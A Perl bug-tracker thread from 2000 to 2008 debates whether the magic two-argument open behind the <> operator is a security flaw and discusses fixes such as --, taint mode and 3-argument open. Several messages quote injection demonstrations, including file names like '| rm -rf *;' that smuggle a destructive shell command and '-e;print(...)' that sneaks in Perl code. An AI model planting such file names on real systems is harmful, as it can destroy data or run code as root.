Skip Menu |
Report information
Id: 2783
Status: rejected
Priority: 0/
Queue: perl5

Owner: pjf <pjf+p5rt [at] perltraining.com.au>
Requestors: mjtg [at] cus.cam.ac.uk
thospel [at] mail.dma.be
Cc:
AdminCc:

Operating System: (no value)
PatchStatus: (no value)
Severity: low
Type: library
Perl Version: (no value)
Fixed In: (no value)



Subject: Re: magic open of ARGV
Date: 16 Mar 2000 01:34:57 GMT
From: thospel [...] mail.dma.be (Ton Hospel)
To: perl5-porters [...] perl.org
Download (untitled) / with headers
text/plain 1.6k
In article <E12V7Jw-0002PL-00@ursa.cus.cam.ac.uk>, "M.J.T. Guy" <mjtg@cus.cam.ac.uk> writes: Show quoted text
> No, I'm *not* trying to restart this flame war. But it was a "security" > issue, and security seems to be in fashion at the moment, and it *was* > left in a somewhat unsatisfactory state. > > THe story so far, for the benefit of younger readers: > [ with the usual IIRC caveats - go to the archives if you want the > real facts > ] > There's a booby trap when magic open (i.e. initial/final special > characters like < > |) is used in conjunction with <>. Suppose > some devious person has left around a file such as "| rm -rf *;". > THen root's cron job comes along and does > > my_scan_command * > > and ... Boom! Here's a more innocent demonstration: > > $ cat >'| echo Bwahahahaha' > hkgfjhgfhgf > $ perl -wne '' * > Bwahahahaha > $ > > Note that the Perl script is obviously "so simple it can't have any > security holes". > > There were two proposals for fixing this: a maximal one which would > have banned all magic in association with <>, and a minimal one > (championed by Tom C) which would have made the open non-magic iff > a file of that name existed. So the minimal proposal is essentially > backwards compatible, and loses no functionality apart from active > malice. >
In fact, there was a little known third proposal by yours truly (hi !): Turn of magic <> if the perl command line contains an explicit -- Otherwise you are still hacked. Observe: mkdir /tmp/a cd /tmp/a echo > '-e;print("Bwahaha\n")' echo foo > bar perl -wne '' * Will also give you the dreaded: Bwahaha So, since a security aware person has to do perl -wne '' -- * anyways, let that remove the magicness
RT-Send-CC: perl5-porters [...] perl.org
Download (untitled) / with headers
text/plain 2.3k
Show quoted text
> [thospel@mail.dma.be - Tue Mar 28 03:56:10 2000]: > > In article <E12V7Jw-0002PL-00@ursa.cus.cam.ac.uk>, > "M.J.T. Guy" <mjtg@cus.cam.ac.uk> writes:
> > No, I'm *not* trying to restart this flame war. But it was a
"security" Show quoted text
> > issue, and security seems to be in fashion at the moment, and it *was* > > left in a somewhat unsatisfactory state. > > > > THe story so far, for the benefit of younger readers: > > [ with the usual IIRC caveats - go to the archives if you want the > > real facts > > ] > > There's a booby trap when magic open (i.e. initial/final special > > characters like < > |) is used in conjunction with <>. Suppose > > some devious person has left around a file such as "| rm -rf *;". > > THen root's cron job comes along and does > > > > my_scan_command * > > > > and ... Boom! Here's a more innocent demonstration: > > > > $ cat >'| echo Bwahahahaha' > > hkgfjhgfhgf > > $ perl -wne '' * > > Bwahahahaha > > $ > > > > Note that the Perl script is obviously "so simple it can't have any > > security holes". > > > > There were two proposals for fixing this: a maximal one which would > > have banned all magic in association with <>, and a minimal one > > (championed by Tom C) which would have made the open non-magic iff > > a file of that name existed. So the minimal proposal is essentially > > backwards compatible, and loses no functionality apart from active > > malice. > >
> In fact, there was a little known third proposal by yours truly (hi !): > Turn of magic <> if the perl command line contains an explicit -- > Otherwise you are still hacked. Observe: > > mkdir /tmp/a > cd /tmp/a > echo > '-e;print("Bwahaha\n")' > echo foo > bar > perl -wne '' * > > Will also give you the dreaded: > Bwahaha > > So, since a security aware person has to do > > perl -wne '' -- * > > anyways, let that remove the magicness >
The flow Ton has just above seems to have been fixed. steve@kirk:~/perl-current$ mkdir /tmp/a steve@kirk:~/perl-current$ cd /tmp/a steve@kirk:/tmp/a$ echo > '-e;print("Bwahaha\n")' steve@kirk:/tmp/a$ echo foo > bar steve@kirk:/tmp/a$ perl -wne '' * steve@kirk:/tmp/a$ ls -ltr total 8 -rw-r--r-- 1 steve steve 1 2005-09-27 23:03 -e;print("Bwahaha\n") -rw-r--r-- 1 steve steve 4 2005-09-27 23:03 bar Although the original flow that started this ticket still exists.
Subject: Re: [perl #2783] magic open of ARGV
Date: Wed, 28 Sep 2005 18:45:02 +0000 (UTC)
To: perl5-porters [...] perl.org
From: perl5-porters [...] ton.iguana.be (Ton Hospel)
In article <rt-3.0.11-2783-121717.9.08824524474802@perl.org>, "Steve Peters via RT" <perlbug-followup@perl.org> writes: Show quoted text
> The flow Ton has just above seems to have been fixed. > > steve@kirk:~/perl-current$ mkdir /tmp/a > steve@kirk:~/perl-current$ cd /tmp/a > steve@kirk:/tmp/a$ echo > '-e;print("Bwahaha\n")' > steve@kirk:/tmp/a$ echo foo > bar > steve@kirk:/tmp/a$ perl -wne '' * > steve@kirk:/tmp/a$ ls -ltr > total 8 > -rw-r--r-- 1 steve steve 1 2005-09-27 23:03 -e;print("Bwahaha\n") > -rw-r--r-- 1 steve steve 4 2005-09-27 23:03 bar > > Although the original flow that started this ticket still exists.
Just downloaded and tried a bleadperl. Still works for me. Nor do I think it CAN be solved without the user doing something like adding the -- (well, anouther way would be to not accept a second -e or even a first one after a non-option argument). It's the shell that expands the *, so perl never sees anything different from perl -wne '' '-e;print("Bwahaha\n")' which is *supposed* to work. Maybe it's your shell that refuses to expand the file with an option in the name ?
Subject: Re: [perl #2783] magic open of ARGV
Date: Thu, 29 Sep 2005 09:02:27 -0300
To: perl5-porters [...] perl.org
From: Adriano Ferreira <a.r.ferreira [...] gmail.com>
On 9/28/05, Ton Hospel <perl5-porters@ton.iguana.be> wrote: Show quoted text
> In article <rt-3.0.11-2783-121717.9.08824524474802@perl.org>, > "Steve Peters via RT" <perlbug-followup@perl.org> writes:
> > The flow Ton has just above seems to have been fixed. > > > > steve@kirk:~/perl-current$ mkdir /tmp/a > > steve@kirk:~/perl-current$ cd /tmp/a > > steve@kirk:/tmp/a$ echo > '-e;print("Bwahaha\n")' > > steve@kirk:/tmp/a$ echo foo > bar > > steve@kirk:/tmp/a$ perl -wne '' * > > steve@kirk:/tmp/a$ ls -ltr > > total 8 > > -rw-r--r-- 1 steve steve 1 2005-09-27 23:03 -e;print("Bwahaha\n") > > -rw-r--r-- 1 steve steve 4 2005-09-27 23:03 bar > > > > Although the original flow that started this ticket still exists.
> > Just downloaded and tried a bleadperl. Still works for me. > Nor do I think it CAN be solved without the user doing something > like adding the -- (well, anouther way would be to not accept a second > -e or even a first one after a non-option argument). It's the shell > that expands the *, so perl never sees anything different from > > perl -wne '' '-e;print("Bwahaha\n")' > > which is *supposed* to work. > > Maybe it's your shell that refuses to expand the file with an option > in the name ? >
If I am not overlooking some point in the current discussion, the "magic open of ARGV" is not different from the magic of C<open>, which gives supports to the tricky/powerful pipes (including '| print("Bwahaha\n")' or '| rm -rf *;'). So that's not a bug, but a feature. This is all documented in C<perldoc -f open> and C<perldoc Show quoted text
perlopentut>. In the section "Dispelling the Dweomer" (perldoc
perlopentut) we read If you want to use "<ARGV>" processing in a totally boring and non-mag- ical way, you could do this first: # "Sam sat on the ground and put his head in his hands. # 'I wish I had never come here, and I don't want to see # no more magic,' he said, and fell silent." for (@ARGV) { s#^([^./])#./$1#; $_ .= "\0"; } while (<>) { # now process $_ } So if you don't trust your script users, your code must be more robust than using a naked <>. At least some preprocessing of @ARGV applies before calling <>. Talking like the Jarkko's histerical raisins, too much code relies on the superpowers of C<open> which can be used to process files prior to input with shell utilities (for example, ' | gunzip dat.gz') and the like. This can't be changed globally: but everyone is welcome to add code to make it safer in certain applications or even a reusable module which does this. About the possibility to introduce an extra (potentially malicious) C<-e> option via Show quoted text
> perl -wne '' *
and files with weird name like '-e;print("Bwahaha\n")', this won't work calling perl with a script: Show quoted text
> perl script.pl *
would get the -e as an argument. So don't use one-liners with arguments like * if you think about security. Maybe the documentation could include one or two phrases on the potential for security breaches with open and <>, maybe not.
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] magic open of ARGV
Date: Thu, 29 Sep 2005 09:30:04 -0400
To: Adriano Ferreira <a.r.ferreira [...] gmail.com>
From: Ronald J Kimball <rjk-perl-p5p [...] tamias.net>
Download (untitled) / with headers
text/plain 520b
On Thu, Sep 29, 2005 at 09:02:27AM -0300, Adriano Ferreira wrote: Show quoted text
> About the possibility to introduce an extra (potentially malicious) > C<-e> option via >
> > perl -wne '' *
> > and files with weird name like '-e;print("Bwahaha\n")', this won't > work calling perl with a script: >
> > perl script.pl *
> > would get the -e as an argument. So don't use one-liners with > arguments like * if you think about security.
Putting -- before the argument list should avoid that problem. perl -wne '' -- * Ronald
Subject: Security of ARGV using 2-argument open - It's a feature
RT-Send-CC: perl5-porters [...] perl.org
Raising this bug from the dead so we can lay it to rest at last. The original bug report reads: Show quoted text
> There's a booby trap when magic open (i.e. initial/final special > characters like < > |) is used in conjunction with <>. Suppose > some devious person has left around a file such as "| rm -rf *;".
Yes, <> using 2-argument open just contain a nasty surprise. I don't like it either. However I believe it's considered a feature, and I've certainly seen a few tutorials, as well as working code that delights in the ability to write: myprog.pl log.0 log.1 'gunzip -c log.2.gz |' and have <> work its magic. This means I don't think we'll see <> changing to using 3-argument open any time soon. Even if it did, all the existing code out there using older Perls would still be vulnerable _anyway_, as well as the potential for some existing code that uses this "feature" to break when Perl is upgraded. Luckily, there's a reasonably good work-around, and that's to use taint mode. Because command-line arguments are always tainted, but Perl doesn't check for taint when opening a file for *reading* (but it does for writing and for pipes), starting Perl in taint mode practically eliminates the problem of code injection attacks via command-line arguments and <>. If the program didn't intend to execute external commands to begin with, then there should be no changes when the program uses taint. If it *did* intend to execute external commands, but we're in an environment where the filesystem itself may be considered hostile, then we definitely want to be using taint anyway. ;) One can still potentially use the arcane invocation '<&=0' to dup STDIN (or another filehandle) without taint checks, but that's much less serious than executing arbitrary code. As such, I'm resolving this ticket and marking it as not-a-bug. Cheerio, Paul -- Paul Fenwick <pjf@perltraining.com.au> | http://perltraining.com.au/ Director of Training | Ph: +61 3 9354 6001 Perl Training Australia | Fax: +61 3 9354 2681
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Mon, 14 Jul 2008 15:55:35 -0700
To: perlbug-followup [...] perl.org
From: "Joshua ben Jore" <twists [...] gmail.com>
On Wed, Jul 2, 2008 at 12:33 AM, Paul Fenwick via RT <perlbug-followup@perl.org> wrote: Show quoted text
> ... > > This means I don't think we'll see <> changing to using 3-argument open > any time soon. Even if it did, all the existing code out there using > older Perls would still be vulnerable _anyway_, as well as the potential > for some existing code that uses this "feature" to break when Perl is > upgraded.
I'm of the opinion that working code should break in new versions of perl if it is hitting this and people should thank us for it. Anyone desiring to not have this break should continue to use old perl. Any tutorial teaching this has always been broken. This has never been a good feature and just because some people use it doesn't contradict that. I find it incredibly aggravating that my one-liners do the wrong thing when they attempt to read my files <.st and >.st. Or rather - that I must be careful to never let any one-liners touch some files. Show quoted text
> As such, I'm resolving this ticket and marking it as not-a-bug.
No. Show quoted text
> Cheerio,
No. Josh
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Mon, 14 Jul 2008 18:07:21 -0700 (PDT)
To: "Joshua ben Jore" <twists [...] gmail.com>
From: "Yitzchak Scott-Thoennes" <sthoenna [...] efn.org>
Download (untitled) / with headers
text/plain 1.1k
On Mon, July 14, 2008 3:55 pm, Joshua ben Jore wrote: Show quoted text
> On Wed, Jul 2, 2008 at 12:33 AM, Paul Fenwick via RT wrote:
>> This means I don't think we'll see <> changing to using 3-argument open >> any time soon. Even if it did, all the existing code out there using >> older Perls would still be vulnerable _anyway_, as well as the >> potential for some existing code that uses this "feature" to break when >> Perl is upgraded.
> > I'm of the opinion that working code should break in new versions of > perl if it is hitting this and people should thank us for it. Anyone > desiring to not have this break should continue to use old perl.
No. Show quoted text
> Any > tutorial teaching this has always been broken. This has never been a good > feature and just because some people use it doesn't contradict that.
I'd be fine with breaking the feature in 5.12 by default, but would like a pragma to re-enable it. Note that changing from 2-arg to 3-arg open breaks the following idiom (command line args are files of filenames to read): @ARGV = <>; while (<>) { ... } because trailing newlines on the filenames are no longer ignored.
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Tue, 15 Jul 2008 10:16:39 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 647b
* Yitzchak Scott-Thoennes <sthoenna@efn.org> [2008-07-15 03:10]: Show quoted text
> Note that changing from 2-arg to 3-arg open breaks the > following idiom (command line args are files of filenames to > read): > > @ARGV = <>; > while (<>) { ... } > > because trailing newlines on the filenames are no longer > ignored.
Writing chomp(@ARGV = <>); is no great hardship. (Note that at this time I am not taking either side in the greater debate; the above is not an argument either way.) -- *AUTOLOAD=*_;sub _{s/(.*)::(.*)/print$2,(",$\/"," ")[defined wantarray]/e;$1} &Just->another->Perl->hack; #Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Tue, 15 Jul 2008 14:10:16 +0100
To: perl5-porters [...] perl.org
From: Ben Morrow <ben [...] morrow.me.uk>
Download (untitled) / with headers
text/plain 1.5k
Quoth twists@gmail.com ("Joshua ben Jore"): Show quoted text
> On Wed, Jul 2, 2008 at 12:33 AM, Paul Fenwick via RT > <perlbug-followup@perl.org> wrote:
> > ... > > > > This means I don't think we'll see <> changing to using 3-argument open > > any time soon. Even if it did, all the existing code out there using > > older Perls would still be vulnerable _anyway_, as well as the potential > > for some existing code that uses this "feature" to break when Perl is > > upgraded.
> > I'm of the opinion that working code should break in new versions of > perl if it is hitting this and people should thank us for it. Anyone > desiring to not have this break should continue to use old perl. Any > tutorial teaching this has always been broken. This has never been a > good feature and just because some people use it doesn't contradict > that. > > I find it incredibly aggravating that my one-liners do the wrong thing > when they attempt to read my files <.st and >.st. Or rather - that I > must be careful to never let any one-liners touch some files.
How about making the implicit open done by <> use either main::open (if defined) or CORE::GLOBAL::open (if defined), so that it's possible to write a SafeOpen.pm that overrides one of these to map open my $FH, '<foo'; to open my $FH, '<', '<foo'; ? Ben -- Like all men in Babylon I have been a proconsul; like all, a slave ... During one lunar year, I have been declared invisible; I shrieked and was not heard, I stole my bread and was not decapitated. ~ ben@morrow.me.uk ~ Jorge Luis Borges, 'The Babylon Lottery'
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Tue, 15 Jul 2008 16:49:12 -0700
To: "Ben Morrow" <ben [...] morrow.me.uk>
From: "Joshua ben Jore" <twists [...] gmail.com>
Download (untitled) / with headers
text/plain 608b
On Tue, Jul 15, 2008 at 6:10 AM, Ben Morrow <ben@morrow.me.uk> wrote: Show quoted text
> > How about making the implicit open done by <> use either main::open (if > defined) or CORE::GLOBAL::open (if defined), so that it's possible to > write a SafeOpen.pm that overrides one of these to map
Ok, but name it UnsafeOpen.pm because the default should work properly. That is, 5.12 should out of the box not do anything weird when given a file with any of the <, >, or | characters anywhere in it. It should just read it. I'm ok with writing 5.10 off. I didn't want to but if that's what it takes to get this change, ok. Josh
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Thu, 17 Jul 2008 12:45:59 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.4k
Joshua ben Jore <twists <at> gmail.com> writes: Show quoted text
>>How about making the implicit open done by <> use either main::open (if >>defined) or CORE::GLOBAL::open (if defined), so that it's possible to >>write a SafeOpen.pm that overrides one of these to map
> >Ok, but name it UnsafeOpen.pm because the default should work >properly. That is, 5.12 should out of the box not do anything weird >when given a file with any of the <, >, or | characters anywhere in >it. It should just read it.
FWIW, I completely agree with this. In my opinion it is much, much too dangerous to have a common construct - one which is taught to beginners in every Perl tutorial and looks innocuous - be tripped up so easily as by a file called '|x' or anything else containing magic characters. Yes, taint mode does prevent this, but unless taint mode is on by default for 5.12 it doesn't address the problem. The simple, default code should be 100% safe. Perl's motto is that easy things should be easy: surely reading some files specified on the command line, without barfing or worse on special characters, is one of those easy things. Hard things should be possible, and magical open() is certainly a useful feature in some situations, but magic can be dangerous. By all means have it if you ask for it but the default, simplest code must be safe for all situations. Please could I ask the perl5 core team to have another look at this bug report. -- Ed Avis <eda@waniasset.com>
CC: perlbug-followup [...] perl.org, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sat, 19 Jul 2008 23:24:59 -0600
To: "Joshua ben Jore" <twists [...] gmail.com>
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 2.8k
Show quoted text
> I'm of the opinion that working code should break in new versions > of perl if it is hitting this and people should thank us for it. > Anyone desiring to not have this break should continue to use old > perl. Any tutorial teaching this has always been broken. This has > never been a good feature and just because some people use it > doesn't contradict that.
It's not obvious where in your text you've made the transition from mere opinion to trying to make people believe that such is fact; but that you've sneakily done so, there's no doubt. Show quoted text
> I find it incredibly aggravating that my one-liners do the wrong thing > when they attempt to read my files <.st and >.st. Or rather - that I > must be careful to never let any one-liners touch some files.
People who create files with aggravating names are aggravating people; just say no. Don't you remember chdir "/tmp"; mkdir "etc\n"; chdir("/etc\n"); (naughty games with passwd I shan't detail) Then there's the protection measure of "touch ./-i"; think about it. If it takes a syswide find to locate unpleasant filenames and send whingeing or abusive or threatening mail (interpretation rests on the receiver) about the inadvisability of files with whitespace or brackets, or question-marks or stars, (and for perl, also minuses, ampersands, equals, or pipes), then that's a local administration issue. Look to the plank in thine own eye... And the day that I can no longer rely upon the overlying system to automatically understand that "-" is STDIN for input or STDOUT for output is the day that I will fork a parallel copy of Perl that maintains traditional and expected behavior. However, I trust that will never need to occur, ofr no pumpking has ever been so blindly cavalier--which can probably be read as "foolish" if you're of that bent. What you don't seem to understand is that taking a homogeneous approach to argument processing is not a bug, but a feature--a BIG FEATURE. Perhaps you're too much of a youngster to remember the days that shells didn't glob command-line arguments for you, and each program had to parse and process its own command line string. But I am not. Those were dark days of unpredictability. It's the wrong way to (not) go about things. When you make every program encode the logic of treating "-" as special, you are making a very big mistake. Some programs shall, others shan't. And therein lies the PITA. Those ignorant of Unix are doomed to reinvent it--poorly. Don't go there. *DON'T!* You would ask this sort of idiocy: % perl -le 'open(IT, ">", "-")||die; print IT "stuff"; close(IT)||die' % cat ./- stuff Just say no. I could put it more strongly, but if you haven't figured out the serious flaw in your "thinking" by now, strong talk won't help that. Show quoted text
>> As such, I'm resolving this ticket and marking it as not-a-bug.
Show quoted text
> No.
Not merely wrong, but exceptionally so. --tom
CC: Joshua ben Jore <twists [...] gmail.com>, perlbug-followup [...] perl.org, perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 20 Jul 2008 01:47:17 -0400
To: Tom Christiansen <tchrist [...] perl.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 1.5k
Tom Christiansen wrote: Show quoted text
> [ in response to a no doubt interesting thread ... ] > And the day that I can no longer rely upon the overlying system to > automatically understand that "-" is STDIN for input or STDOUT for output > is the day that I will fork a parallel copy of Perl that maintains > traditional and expected behavior. However, I trust that will never need > to occur, ofr no pumpking has ever been so blindly cavalier--which can > probably be read as "foolish" if you're of that bent. > > What you don't seem to understand is that taking a homogeneous approach to > argument processing is not a bug, but a feature--a BIG FEATURE. Perhaps > you're too much of a youngster to remember the days that shells didn't glob > command-line arguments for you, and each program had to parse and process > its own command line string. But I am not. Those were dark days of > unpredictability. It's the wrong way to (not) go about things. >
That open(handle, arg) doesn't translate 1:1 as a system call open() request *is* a feature - a feature that could provide more value than it does today. I often find myself wishing Perl accepted many MORE magical open syntaxes than present. I think the following replacement for simple 'wget -o-' would be very cool: perl -pe 1 http://www.cpan.org/index.html For applications with security concerns, the argument to open() still needs to be checked whether 2-arg or 3-arg. I don't see the logic behind an argument that would suggest the existing behaviour should be changed. If a person doesn't like 2-arg - don't use it? Cheers, mark -- Mark Mielke <mark@mielke.cc>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Mon, 21 Jul 2008 12:21:32 +0100
To: Tom Christiansen <tchrist [...] perl.com>
From: Aaron Crane <perl [...] aaroncrane.co.uk>
Download (untitled) / with headers
text/plain 2.2k
Tom Christiansen writes: Show quoted text
> taking a homogeneous approach to argument processing is not a bug, but > a feature--a BIG FEATURE. Perhaps you're too much of a youngster to > remember the days that shells didn't glob command-line arguments for > you, and each program had to parse and process its own command line > string. But I am not. Those were dark days of unpredictability. > It's the wrong way to (not) go about things. > > When you make every program encode the logic of treating "-" as > special, you are making a very big mistake. Some programs shall, > others shan't.
And yet, in the context of Unix as a whole, every program _already does_ have to treat "-" as special. In 7th Edition, cat, cmp, comm, diff, join, sort, and split all handle an argument of "-" to mean standard input, while egrep, fgrep, grep, od, sum, tail, and uniq don't. Perl programs using two-argument C<open> handle "-". Those using three-argument C<open>, or written in other languages, don't, unless they include specific code to accomplish that. Furthermore, while this situation is clearly suboptimal, it doesn't seem to be intolerable: we might be annoyed when program behaviour is at odds with our expectations, but we can work around it. My strong suspicion is that a large part of what to consider correct behaviour in this area comes down to personal preference. I always want my command-line programs to treat "-" as a reference to standard input, but I never want leading or trailing pointies or pipes to mean anything other than the files with the names as given. You clearly differ on that, and I don't think your preferences are invalid. I'm certainly not suggesting that Perl's long-standing behaviour here should be changed, but I don't think the situation is as simple as is implied by declaring that "taking a homogeneous approach to argument processing is [...] a feature". I also note that some of the most interesting uses of magical two-argument C<open> -- things like perl -lne '...' 'command1 | filter1 |' 'command2 | filter2 |' -- can in modern shells be handled with process substitution: perl -lne '...' <(command1 | filter1) <(command2 | filter2) I'm not convinced that that really constitutes an argument one way or the other, though. -- Aaron Crane ** http://aaroncrane.co.uk/
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Thu, 24 Jul 2008 20:45:21 +0100
To: perl5-porters [...] perl.org
From: Zefram <zefram [...] fysh.org>
Download (untitled) / with headers
text/plain 409b
Aaron Crane wrote: Show quoted text
> I always >want my command-line programs to treat "-" as a reference to standard >input,
I think this convention is obsolete. If you want to refer to standard input in a filename context, you can use /dev/stdin. It's a true filename, and is available to all programs without any of them having to do anything special. -zefram
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Thu, 24 Jul 2008 21:44:55 +0100
To: perl5-porters [...] perl.org
From: Aaron Crane <perl [...] aaroncrane.co.uk>
Download (untitled) / with headers
text/plain 1.5k
Zefram writes: Show quoted text
> Aaron Crane wrote:
> >"-" as a reference to standard input
> > I think this convention is obsolete. If you want to refer to > standard input in a filename context, you can use /dev/stdin. It's > a true filename, and is available to all programs without any of > them having to do anything special.
True, but it's a lot more work to type. Also, it doesn't behave quite the same way on all operating systems. $ uname Linux $ head -1 /usr/share/dict/words $ tail -c +52 /usr/share/dict/words | head -1 Aaron $ cat stdin.pl seek STDIN, 51, 0 or die "seek: $!\n"; open my $fh, $ARGV[0] or die "open: $!\n"; print tell $fh, "\n"; print scalar <$fh>; $ perl -w stdin.pl /dev/stdin < /usr/share/dict/words 0 $ perl -w stdin.pl - < /usr/share/dict/words 51 Aaron On some OSes (including BSD), opening /dev/stdin is equivalent to calling dup(2) on fd 0, so that (for seekable file descriptors) the new file descriptor shares a file offset pointer with stdin. Linux differs; opening /dev/stdin gives you a file descriptor open on the same file as fd 0, but the two descriptors are distinct, and do not share a file offset pointer. (And since /dev/stdin is actually a symlink to /proc/self/fd/0, an equivalent statement applies to opening anything under /proc/*/fd.) As it happens, Perl's magical open of "-" is neither dup(0) nor open("/dev/stdin", O_RDONLY). Instead, it gives you a new stdio-ish filehandle open on file descriptor 0; that's why the behaviour under Linux differs from opening /dev/stdin. -- Aaron Crane ** http://aaroncrane.co.uk/
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Fri, 25 Jul 2008 15:05:30 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 4.2k
Tom Christiansen <tchrist <at> perl.com> writes: Show quoted text
>>I find it incredibly aggravating that my one-liners do the wrong thing >>when they attempt to read my files <.st and >.st.
Show quoted text
>People who create files with aggravating names are aggravating people; >just say no.
Show quoted text
>If it takes a syswide find to locate unpleasant filenames and send >whingeing or abusive or threatening mail (interpretation rests on the >receiver) about the inadvisability of files with whitespace or brackets, >or question-marks or stars, (and for perl, also minuses, ampersands, >equals, or pipes), then that's a local administration issue.
You seem to have in mind the comfortable Unix environment most of us remember from university days (or elsewhere), when your local bearded sysadmin would keep a watchful eye on the students and make sure that the local collection of eclectic, flaky but nonetheless lovable administrative shell scripts kept working smoothly. I am not saying that is a bad ideal at all. But it's not the issue here. You can't run a system-wide check for 'unpleasant' filenames before every invocation of your perl program. And although someone deliberately making a file '| rm -rf /' is the example we all use (and a good enough example in its own right to make this worth fixing, IMHO), in practice a successful attack to get control of a computer often uses several stages. The first stage might be to trick a slightly dopey CGI script into making a filename containing a '|' character in its temporary directory - not a security hole in itself, right? and then wait for an administrative Perl script run by root to 'while (<>)' in that directory. Or indeed the same CGI script might use the 'while (<>)' construct - which is surely just reading some files and should be safe, right? Remember that here we're not talking about some obscure construct that only experts know, where people can be expected to read about the security risks and gotchas before using it. This is pretty much in the first chapter of every beginner's Perl tutorial - yet few of them have any warning that it might do unexpected things if a file in the current directory is 'unpleasant'. Surely we have a duty to make sure that the code recommended to novices is totally safe to use. But security holes are just one specific class of bugs. In principle, the issue is that asking perl to read some files should work 100% of the time. Not some of the time depending on what filenames exist. Show quoted text
>And the day that I can no longer rely upon the overlying system to >automatically understand that "-" is STDIN for input or STDOUT for output >is the day that I will fork a parallel copy of Perl that maintains >traditional and expected behavior.
If I might go rhetorical for a moment: to rely upon the overlying system? That seems like a very good idea. So the C library itself should interpret '-' to mean stdin or stdout, it shouldn't be implemented afresh in every application like perl, grep, tar and so on. So why doesn't the C library automatically treat '-' as stdin or stdout? Show quoted text
>What you don't seem to understand is that taking a homogeneous approach to >argument processing is not a bug, but a feature--a BIG FEATURE. Perhaps >you're too much of a youngster to remember the days that shells didn't glob >command-line arguments for you, and each program had to parse and process >its own command line string. But I am not. Those were dark days of >unpredictability. It's the wrong way to (not) go about things.
Absolutely. It would be crazy for perl or any other program to start doing argument processing that better belongs in the shell. Imagine if shells didn't support commands like % cat <(echo hello; echo goodbye) and cat, and every other program, had to have special code to recognize '<' in its arguments. It would be a terrible mess - and you'd need another layer of mess to handle the case when '<' really is in a filename. Much better to let the shell do it. Show quoted text
>When you make every program encode the logic of treating "-" as special, >you are making a very big mistake. Some programs shall, others shan't.
Show quoted text
>You would ask this sort of idiocy: > > % perl -le 'open(IT, ">", "-")||die; print IT "stuff"; close(IT)||die' > % cat ./- > stuff
That's exactly the behaviour I see with perl 5.10. What result do you get? -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Fri, 25 Jul 2008 15:13:02 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.4k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>For applications with security concerns, the argument to open() still >needs to be checked whether 2-arg or 3-arg. I don't see the logic behind >an argument that would suggest the existing behaviour should be changed. >If a person doesn't like 2-arg - don't use it?
The issue here is that while (<>) { ... } is using the magical 2-argument open, with all the implications of running external commands depending on what filenames happen to be in the current directory, yet this code is taught to everyone as the standard way to open the files in the command line. The un-magic alternative requires a lot more code. Surely this is backwards: the simple short code should be safe to use under all circumstances, and if you want the more dangerous (though certainly very useful) behaviour you should have to ask for it. As I see it, then, the choices are - Change while (<>) and while (<ARGV>) to use 3-argument open, perhaps with an exception for '-' to mean stdin, since reading from stdin is not normally dangerous. - Or change every Perl tutorial starting with Perl's own documentation to note that while (<>) can do funny things and is not to be used unless you trust everyone and every program that could have created a file in the current directory. - Or introduce a new language construct 'the safe way to read command line arguments' and change all the tutorials to recommend that instead. -- Ed Avis <eda@waniasset.com>
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Fri, 25 Jul 2008 17:26:48 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
On Fri, Jul 25, 2008 at 03:13:02PM +0000, Ed Avis wrote: Show quoted text
> Mark Mielke <mark <at> mark.mielke.cc> writes: >
> >For applications with security concerns, the argument to open() still > >needs to be checked whether 2-arg or 3-arg. I don't see the logic behind > >an argument that would suggest the existing behaviour should be changed. > >If a person doesn't like 2-arg - don't use it?
> > The issue here is that > > while (<>) { ... } > > is using the magical 2-argument open, with all the implications of running > external commands depending on what filenames happen to be in the current > directory, yet this code is taught to everyone as the standard way to open > the files in the command line. > > The un-magic alternative requires a lot more code. Surely this is backwards: > the simple short code should be safe to use under all circumstances, and if > you want the more dangerous (though certainly very useful) behaviour you > should have to ask for it. > > As I see it, then, the choices are > > - Change while (<>) and while (<ARGV>) to use 3-argument open, perhaps with > an exception for '-' to mean stdin, since reading from stdin is not normally > dangerous. > > - Or change every Perl tutorial starting with Perl's own documentation to note > that while (<>) can do funny things and is not to be used unless you trust > everyone and every program that could have created a file in the current > directory.
What does the current directory have to do with while (<>)? while (<>) reads from filenames from @ARGV, not from the current directory. Show quoted text
> - Or introduce a new language construct 'the safe way to read command line > arguments' and change all the tutorials to recommend that instead.
- Teach people not to use "funny" characters in the filenames lightly, since whatever one may or may not do to Perl, it *will* bite them if they treat them carelessly; after all, the set of of characters that are special to Perl are (with the exception of -) a subset of the characters that are special to most shells anyway. Abigail
CC: perl5-porters [...] perl.org
